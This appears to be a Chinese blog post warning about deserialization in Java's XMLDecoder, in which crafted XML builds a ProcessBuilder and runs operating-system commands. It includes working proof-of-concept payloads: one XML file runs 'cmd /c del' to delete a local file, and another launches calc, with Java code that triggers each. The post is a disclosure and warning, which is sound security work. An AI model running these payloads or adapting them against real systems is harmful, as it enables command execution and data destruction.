天天看點

jdk緊急漏洞,XMLDecoder反序列化攻擊

jdk緊急漏洞,XMLDecoder反序列化攻擊

昨天在公司發現了一個jdk中的XMLDecoder反序列化的漏洞,看起來很危險!下面通過兩個示例來看看這個漏洞的危害!

示例1:利用XmlDecoder删除本地檔案

首先來看這個xmldecoder.xml檔案内容:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="4">
            <void index="0">
                <string>cmd</string>
            </void>
            <void index="1">
                <string>/c</string>
            </void>
            <void index="2">
                <string>del</string>
            </void>
            <void index="3">
                <string>e:\1.txt</string>
            </void>         
        </array>
        <void method="start" />
    </object>
</java>
           

再來看利用XMLDecoder解析這個xml檔案的示例代碼:

private static void byXmlFile() {
    File file = new File("E:\\xmldecoder.xml");
    XMLDecoder xd = null;
    try {
        xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
    } catch (Exception e) {
        e.printStackTrace();
    }
    Object s2 = xd.readObject();
    xd.close();
}
           

這段代碼執行後,直接删除了本地的e:\1.txt檔案,相當于在指令行調用了cmd /c del e:\1.txt指令,直接删除了本地檔案,相當恐怖!

示例2:利用XmlDecoder調用本地程式

private static void byXmlString() {
    String xml = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
            .append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">")
            .append("    <object class=\"java.lang.ProcessBuilder\">")
            .append("        <array class=\"java.lang.String\" length=\"1\">")
            .append("            <void index=\"0\">")
            .append("                <string>calc</string>")
            .append("            </void>")
            .append("        </array>")
            .append("        <void method=\"start\" />")
            .append("    </object>")
            .append("</java>").toString();
    XMLDecoder xd = null;
    try {
        xd = new XMLDecoder(new ByteArrayInputStream(xml.getBytes()));
    } catch (Exception e) {
        e.printStackTrace();
    }
    Object s2 = xd.readObject();
    xd.close();
}
           

這段代碼改成了用String輸入源的形式,這不重要,重要的是還是利用了jdk中的XmlDecoder類來解析xml字元串。這段代碼執行後,會調用出本地的電腦程式。

jdk緊急漏洞,XMLDecoder反序列化攻擊

其中ProcessBuilder.start()的方法和Runtime.exec()方法一樣,都可以被用來建立一個作業系統程序,可用來控制程序狀态并獲得相關資訊。

ProcessBuilder的構造方法接受一個指令清單。

public ProcessBuilder(List<String> command) {
    if (command == null)
        throw new NullPointerException();
    this.command = command;
}
           

總結

Jdk中的XmlDecoder反序列化存在安全漏洞,能調用本地的應用,也能執行系統支援的指令,一旦黑客組織成指令清單攻擊系統,後果不堪設想!

我隻是用ProcessBuilder類示範了調用系統程式這兩種案例,當然還有其他,遠不止這一種攻擊手段。作者看了下,這個漏洞在jdk8_0_151版本中還存在。

建議不要用JDK中的XmlDeocder類,尋求其它更安全的xml解析工具類。

求轉發,緊急擴散,避免更大程度的損失!~

推薦閱讀

個人珍藏最全Spring Boot全套視訊教程 分享一套進階視訊教程:Dubbo+Zookeeper+ActiveMQ+Redis系列 分享一套分布式架構設計進階視訊教程 分享一套Hadoop全套視訊教程系列 去BAT面試完的Mysql面試題總結(55道,帶完整答案) 阿裡進階Java面試題(首發,70道,帶詳細答案) 2017派卧底去阿裡、京東、美團、滴滴帶回來的面試題及答案 Spring面試題(70道,史上最全) 通往大神之路,百度Java面試題前200頁。
分享Java幹貨,高并發程式設計,熱門技術教程,微服務及分布式技術,架構設計,區塊鍊技術,人工智能,大資料,Java面試題,以及前沿熱門資訊等。